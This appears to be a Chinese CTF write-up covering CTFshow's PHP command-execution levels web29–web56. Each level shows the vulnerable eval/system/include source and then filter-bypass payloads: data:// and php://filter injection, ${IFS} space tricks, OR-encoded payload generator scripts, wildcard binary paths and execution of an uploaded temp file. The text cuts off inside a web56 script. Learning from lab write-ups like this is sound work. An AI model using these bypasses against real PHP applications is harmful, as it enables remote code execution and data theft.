【CTFSHOW_Web入门】命令执行

文章目录


命令执行

web29

php 复制代码
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:26:48
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

过滤了 flag

payload

php 复制代码
?c=system("tac%20fla*");

web30

php 复制代码
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:42:26
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

过滤了flagsystemphp

payload

php 复制代码
?c=passthru("tac%20fla*");

web31

php 复制代码
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:49:10
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

题解一

system被过滤可以用passthru函数绕过, cat 被过滤可以用more、less、nl绕过(但我试过more不行??),空格被过滤可以用${IFS}%09 绕过。

空格绕过

{IFS} 但不能写作 IFS

IFS9

%09

<>

<

$IFS%09

payload

php 复制代码
?c=passthru("tac%09fla*");

题解二

c 作为跳板执行另一个参数a的命令,a 的命令不受限制

php 复制代码
?c=eval($_GET[a]);&a=system("cat flag.php");#之后F12查看源代码

?c=eval($_GET[a]);&a=system("tac flag.php");

web32

php 复制代码
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:56:31
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

过滤了 单引号、反引号、分号 等符号

文件包含漏洞
payload

php 复制代码
?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

web33

php 复制代码
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 02:22:27
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
//
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

多过滤了双引号,用数组作为参数即可绕过

题解一

同上

php 复制代码
?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

题解二

php 复制代码
?c=require$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

web34

php 复制代码
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 04:21:29
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

多过滤了冒号、括号

不能使用 echo
不能使用eval 因为需要括号

同上
payload

php 复制代码
?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

web35

php 复制代码
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 04:21:23
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

过滤了 尖括号、等于号

同上
payload

php 复制代码
?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

web36

php 复制代码
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 04:21:16
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

过滤了数字

同上
payload

php 复制代码
?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

web37

php 复制代码
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 05:18:55
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
}

payload

php 复制代码
?c=data://text/plain,<?php system("tac fla*");?>
  • 当你使用 ?c=data://text/plain,<?php system("tac fla*");?> 时,PHP 会通过 data:// 伪协议动态生成一个 PHP 文件,并将其内容当作 PHP 代码来执行。
  • include() 的作用是加载这个动态生成的文件内容并执行它。
  • 在这个过程中,system("tac fla*") 被执行,其输出直接写入到 HTTP 响应流中(stdout) ,因此你可以看到 flag.php 的内容。

换句话说,system() 的输出并不是被 include() 捕获,而是直接写入到 HTTP 响应中 。这就是为什么你能看到 flag.php 的内容。


web38

php 复制代码
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 05:23:36
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|php|file/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
}

题目过滤 "php" "flag"

<?php system("tac fla*");?>进行base64 编码得到 PD9waHAgc3lzdGVtKCJ0YWMgZmxhKiIpOz8+

但是URl会将 + 解析成空格,所以这个不行

构造payload

php 复制代码
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJ0YWMgZmxhZy5waHAiKTs/Pg==     

#由<?php system("tac flag.php");?> 进行base64编码而来

或者利用 短标签,将 php 换成=

php 复制代码
?c=data://text/plain,<?=%20system("cat%20fla*");?>
php 复制代码
?c=data://text/plain,<?=%20system("tac%20fla*");?>

web39

php 复制代码
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 06:13:21
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c.".php");
    }
        
}else{
    highlight_file(__FILE__);
}

payload

php 复制代码
?c=data://text/plain,<?= system("tac fla*");?>

?c=data://text/plain,<?php system("tac fla*");?>

web40

php 复制代码
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 06:03:36
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/


if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
        eval($c);
    }
        
}else{
    highlight_file(__FILE__);
}

无参文件读取

题解一

通过构造payload输出当前文件下的文件名

php 复制代码
print_r(scandir('.'));

但是由于过滤了相关符号,所以不能使用这个payload,要想办法去掉 . 小数点

php 复制代码
getallheaders():返回所有的HTTP头信息,返回的是数组⽽eval要求为字符串,所以要⽤implode()函数将数组转换为字符串

get_defined_vars():该函数的作⽤是获取所有的已定义变量,返回值也是数组,不过是二维数组,⽤var_dump()输出可以看⻅输出的内容,看⻅在第⼏位之后,可以⽤current()函数来获取其值,详细可以看官⽅函数。payload:var_dump(current(get_defined_vars()));

session_id():session_id()可以⽤来获取/设置当前会话 ID,可以⽤这个函数来获取cookie
中的phpsessionid,并且这个值我们是可控的。
如可以在cookie中设置 PHPSESSID=706870696e666f28293b,然后⽤hex2bin()函数,即传⼊?exp=eval(hex2bin(session_id(session_start()))); 并设置cookie:PHP
SESSID=706870696e666f28293b
session_start 函数是为了开启session
 
配合使⽤的函数:
print_r(scandir('.')); 查看当前⽬录下的所有⽂件名    print_r输出数组   print输出字符串
var_dump()
localeconv() 函数返回⼀包含本地数字及货币格式信息的数组。
current() 函数返回数组中的当前元素(单元),默认取第⼀个值,pos是current的别名
each() 返回数组中当前的键/值对并将数组指针向前移动⼀步
end() 将数组的内部指针指向最后⼀个单元
next() 将数组中的内部指针向前移动⼀位
prev() 将数组中的内部指针倒回⼀位
array_reverse() 以相反的元素顺序返回数组

构造payload等价于 print_r(scandir('.'));

php 复制代码
?c=print_r(scandir(current(localeconv())));
?c=print_r(scandir(pos(localeconv())));
?c=print_r(scandir(reset(localeconv())));
php 复制代码
Array ( [0] => . [1] => .. [2] => flag.php [3] => index.php )

可以发现flag.php在数组的倒数第二个值里,我们可以通过 array_reverse 进行逆转数组,然后用next()函数进行下一个值的读取。以下payload达到的效果是:输出 flag.php 源码,安全绕过字符过滤器

php 复制代码
?c=highlight_flie(next(array_reverse(scandir(current(localeconv())))));

?c=show_source(next(array_reverse(scandir(current(localeconv())))));

$flag="ctfshow{d960f2a2-e9a5-4b80-a806-5e6a0e6b85c6}";

题解二

Step 1: get_defined_vars() 是 PHP 的内置函数,返回当前作用域里定义的所有变量

php 复制代码
?c=print_r(get_defined_vars());

返回结果

php 复制代码
Array (
    [_GET] => Array ( [c] => print_r(get_defined_vars()); )
    [_POST] => Array ( )
    [_COOKIE] => Array ( )
    [_FILES] => Array ( )
    [c] => print_r(get_defined_vars());
)

说明现在已经有变量 $_GET$_POST、还有 c 等都在作用域内。

✅ Step 2: post传参

bash 复制代码
1=phpinfo();

确认通过 POST 成功地注入了一段代码字符串

php 复制代码
Array (
	[_GET] => Array ( [c] => print_r(get_defined_vars()); ) 
	[_POST] => Array ( [1] => phpinfo(); ) 
	[_COOKIE] => Array ( ) 
	[_FILES] => Array ( ) 
	[c] => print_r(get_defined_vars()); 
)

✅ Step 3:返回数组

php 复制代码
?c=print_r(next(get_defined_vars()));

可以成功拿到phpinfo()数组

然后我们想让 eval() 执行这个 phpinfo();,但我们不能直接写 eval($_POST['1']),因为 [] 被正则拦截了。

✅ Step 4:

弹出数组

php 复制代码
array_pop(...)           // 从这个数组中"弹出"最后一个值

$_POST 数组中"取出"我们传的值:phpinfo();

php 复制代码
?c=print_r(array_pop(next(get_defined_vars())));

页面返回 phpinfo() 这意味着我们已经成功拿到了想要执行的恶意代码字符串

✅ Step 5: 执行代码 得到php配置页面

php 复制代码
?c=eval(array_pop(next(get_defined_vars())));

✅ Step 6:post传参

bash 复制代码
1=system("tac fla*");
php 复制代码
用户传入:
?c=eval(array_pop(next(get_defined_vars())))

程序执行:
eval("eval(array_pop(next(get_defined_vars())))")

第一个 eval 执行:
eval(array_pop(next(get_defined_vars())))

第二个 eval 执行:
system("tac fla*");

web41

php 复制代码
<?php

/*
# -*- coding: utf-8 -*-
# @Author: 羽
# @Date:   2020-09-05 20:31:22
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 22:40:07
# @email: 1341963450@qq.com
# @link: https://ctf.show

*/

if(isset($_POST['c'])){
    $c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
        eval("echo($c);");
    }
}else{
    highlight_file(__FILE__);
}
?>

这道题过滤了 数字 和 字母 (因为后面 /i 对大小写不敏感),并且不能用 异或、取反、自增等操作(过

$+-^~ ),但是可以用 |(或)

题解一

先通过以下 1.php 脚本生成一个 rce_or.txt,内容是上述可用字符及编码。

php 复制代码
#1.php

<?php
$myfile = fopen("rce_or.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) { 
	for ($j=0; $j <256 ; $j++) { 

		if($i<16){
			$hex_i='0'.dechex($i);
		}
		else{
			$hex_i=dechex($i);
		}
		if($j<16){
			$hex_j='0'.dechex($j);
		}
		else{
			$hex_j=dechex($j);
		}
		$preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';
		if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
					echo "";
    }
  
		else{
		$a='%'.$hex_i;
		$b='%'.$hex_j;
		$c=(urldecode($a)|urldecode($b));
		if (ord($c)>=32&ord($c)<=126) {
			$contents=$contents.$c." ".$a." ".$b."\n";
		}
	}

}
}
fwrite($myfile,$contents);
fclose($myfile);

运行python脚本(注意cmd目录)

bash 复制代码
...>python rce_or.py http://8f42bff8-638e-4021-b42a-8e4fbb5a0e50.challenge.ctf.show/
python 复制代码
#rce_or.py
# -*- coding: utf-8 -*-

import requests
import urllib
from sys import *
import os


os.system("php rce_or.php")  #没有将php写入环境变量需手动运行

if(len(argv)!=2):
   print("="*50)
   print('USER:python exp.py <url>')
   print("eg:  python exp.py http://ctf.show/")
   print("="*50)
   exit(0)
   
url=argv[1]


def action(arg):
   s1=""
   s2=""
   for i in arg:
       f=open("rce_or.txt","r")
       while True:
           t=f.readline()
           if t=="":
               break
           if t[0]==i:
               #print(i)
               s1+=t[2:5]
               s2+=t[6:9]
               break
       f.close()
   output="(\""+s1+"\"|\""+s2+"\")"
   return(output)
   
   
while True:
   param=action(input("\n[+] your function:") )+action(input("[+] your command:"))
   data={
       'c':urllib.parse.unquote(param)
       }
   r=requests.post(url,data=data)
   print("\n[*] result:\n"+r.text)

题解二

python 复制代码
import re
import requests

available = []
url = "http://8f42bff8-638e-4021-b42a-8e4fbb5a0e50.challenge.ctf.show/" #  修改URL

for i in range(0,256):
    result = re.match(r'[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-',chr(i),re.I)
    if result is None:
        available.append(chr(i))

key1 = "system"         #修改命令
key2 = "cat flag.php"   #修改命令
gkey1 = ""
gkey2 = ""
data1 = ""
data2 = ""

def orkey(pos,keys):
    global gkey1
    global gkey2
    for i in range(0,len(available)):
        for j in range(i,len(available)):
            if ord(available[i])|ord(available[j]) == ord(keys[pos]):
                gkey1 += available[i]
                gkey2 += available[j]
                return

for i in range(len(key1)):
    orkey(i,key1)
data1 = "(\""+gkey1+"\"|"+"\""+gkey2+"\")"

gkey1 = ""
gkey2 = ""

for i in range(len(key2)):
    orkey(i,key2)
data2 = "(\""+gkey1+"\"|"+"\""+gkey2+"\")"

data ={
    "c":data1 + data2
}
res = requests.post(url,data)
print(res.text)

web42

php 复制代码
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 20:51:55
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    system($c." >/dev/null 2>&1");
}else{
    highlight_file(__FILE__);
}

/dev/null ------ "黑洞"设备文件

/dev/null 是 Linux 系统中一个特殊的设备文件,可以看作一个"数据黑洞":

  • 写入 它的所有内容都会被丢弃
  • 读取它则永远什么也得不到(立即返回 EOF)。

📌 常见用途:

操作 意义
command > /dev/null 把标准输出丢弃,禁止输出任何正常信息
command 2> /dev/null 把标准错误丢弃,屏蔽错误信息
command > /dev/null 2>&1 同时屏蔽标准输出和标准错误,终端不会显示任何信息

1>/dev/null 2>&1 的含义和解析

分解成五步解释:

✅ 表达形式:

bash 复制代码
command 1>/dev/null 2>&1

✅ 关键点详解:

表达部分 含义
1> 标准输出(stdout,文件描述符1)的重定向
/dev/null 重定向的目标是黑洞设备文件,等价于"扔掉"
2> 标准错误(stderr,文件描述符2)的重定向
&1 代表"重定向到与文件描述符1相同的地方",即stdout当前的去向

🎯 整体理解:

  • 1>/dev/null:标准输出被重定向到 /dev/null,不显示任何正常信息;
  • 2>&1:标准错误也被重定向到标准输出的目标(此时标准输出已经是 /dev/null),所以错误信息也不显示

✅ 所以最终效果是:所有输出(正常 + 错误)全部被丢弃,终端不会显示任何信息。

题目这里是 $c 参数后面接了个 >/dev/null 2>&1 ,使用> /dev/null 2>&1 将命令结果全部丢弃(不进行回显的意思)

bash 复制代码
;	//分号
|	//只执行后面那条命令
||	//只执行前面那条命令
&	//两条命令都会执行
&&	//两条命令都会执行

构造payload

bash 复制代码
?c=tac fla*;
?c=tac fla*||
?c=tac fla*%0a             #利用换行分隔
?c=cat flag.php||          #之后查看源代码
?c=tac%20fla*%26%26        #即为?c=tac%20fla*&&,将前面的命令保留,后面的命令丢弃,&需要URL编码

web43

php 复制代码
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 21:32:51
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

正则过滤 ; cat

payload参考web42


web44

php 复制代码
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 21:32:01
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/;|cat|flag/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

正则过滤 ; cat flag

payload参考web42


web45

php 复制代码
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 21:35:34
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| /i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

正则过滤 ; cat flag 空格

payload参考web42

%09 代替空格


web46

php 复制代码
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 21:50:19
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

正则过滤 ; cat flag 空格 数字 $ *

? 代替 * 即可

%09 不是数字

payload参考web42

php 复制代码
?c=tac%09fl?g.php||
?c=tac%09fla?.???||

web47

Php 复制代码
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 21:59:23
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

在前几题基础上过滤了 more less head sort tail

payload不变


web48

php 复制代码
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 22:06:20
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

payload:

php 复制代码
?c=tac%09fla?.php||

web49

php 复制代码
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 22:22:43
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

payload:

php 复制代码
?c=tac%09fla?.php||

web50

php 复制代码
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 22:32:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

想到用 <> 代替 %09

但是发现 <>? 组合的时候是没有回显输出的

所以使用 \ '' 代替 ?

payload

php 复制代码
?c=tac<>fla\g.php||
?c=tac<>fla\g.php%0a    
?c=tac<>fla''g.php||

web51

php 复制代码
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 22:42:52
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

过滤了 tac

另外同cat功能的函数还有:

cat、tac、more、less、head、tail、nl、sed、sort、uniq、rev

php 复制代码
?c=nl<>fl\ag.php||

payload


web52

php 复制代码
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 22:50:30
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

过滤了 <>

php 复制代码
?c=nl${IFS}fla\g.php||

查看源代码后,发现flag换位置了

查看根目录

php 复制代码
?c=ls${IFS}/||

查看根目录下的 flag 文件(根目录是 /

php 复制代码
?c=nl${IFS}/fla\g||

web53

php 复制代码
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 18:21:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
        echo($c);
        $d = system($c);
        echo "<br>".$d;
    }else{
        echo 'no';
    }
}else{
    highlight_file(__FILE__);
}

甚至不用命令分隔了

payload

bash 复制代码
?c=nl${IFS}fla\g.php
?c=ta''c${IFS}fla?.php
?c=ca''t${IFS}fla?.php  #之后查看源代码

web54

php 复制代码
<?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 19:43:42
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

题解一

grep test *file #在当前目录中,查找后缀有 file 字样的文件中包含 test 字符串的文件,并打印出该字符串的行

grep '{' fla?.phpfla?.php 匹配到的文件中,查找含有 { 的文件,并打印出包含 { 的这一行

php 复制代码
?c=grep${IFS}%27{%27${IFS}fla?.php

或者
    
?c=rev${IFS}fla?.php   #没有过滤rev,打印出来的是倒序

题解二

列出当前目录

bash 复制代码
?c=ls

将 flag.php重命名为 a.txt

?c=mv flag.php a.txt

bash 复制代码
?c=mv${IFS}fla?.php${IFS}a.txt

再次查看当前目录,可见重命名成功

bash 复制代码
?c=ls

访问 a.txt 即可

bash 复制代码
/a.txt

题解三

将flag.php的内容复制到b.txt (不知道为什么这里 fla?.php不行)

?c=cp flag.php b.txt

bash 复制代码
?c=cp${IFS}fl??.php${IFS}b.txt

再次查看当前目录,可见复制成功

bash 复制代码
?c=ls

访问 b.txt

bash 复制代码
/b.txt

web55

php 复制代码
<?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 20:03:51
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

// 你们在炫技吗?
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

bin目录:

bin为binary的简写主要放置一些系统的必备执行档例如: cat、cp、chmod df、dmesg、gzip、kill、ls、mkdir、more、mount、rm、su、tar、base64等

题解一

把文件 flag.php 的内容用 Base64 编码显示出来!

bash 复制代码
/bin/base64 flag.php

payload:

bash 复制代码
?c=/???/????64 ????.???

题解二

flag.php 文件压缩成:flag.php.bz2

bash 复制代码
/usr/bin/bzip2 flag.php

payload:

bash 复制代码
?c=/???/???/????2 ????.???

访问 /flag.php.bz2 ,下载压缩包

bash 复制代码
/flag.php.bz2

题解三

  • Linux 系统下 php 接收上传文件的 post 包,默认会将文件保存在临时文件夹 /tmp/,文件名 phpXXXXXX。(最后一个字母一般/大概率为大写)
  • Linux 中 .(点)命令,或者叫 period,它的作用和 source 命令一样,就是用当前的 shell 执行一个文件中的命令。
  • ascii 码表中,大写字母位于 " @ " 与 " [ " 之间。(不包括 @ 和 [ )

构造一个 post 请求并上传文件

html 复制代码
<!--构造一个post上传文件的数据包,这是个上传页面,选择文件上传-->
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>POST数据包POC</title>
</head>
<body>
<form action="http://dc1bfe3e-910b-4ad5-9130-db7f0cd7cca4.challenge.ctf.show/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
    <label for="file">文件名:</label>
    <input type="file" name="file" id="file"><br>
    <input type="submit" name="submit" value="提交">
</form>
</body>
</html>

随便上传一个文件

抓包

bash 复制代码
在 burp 拦截中,通过 GET 方式传递:
?c=.+/???/????????[@-[]

并在上传文件内容添加sh命令:
#!/bin/sh
ls
bash 复制代码
#!/bin/sh
cat flag.php

web56

php 复制代码
<?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

// 你们在炫技吗?
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

在上一题的基础上过滤了数字

题解一

同web55

题解二

python脚本

python 复制代码
#ctfshow_web56.py

import requests
while True:
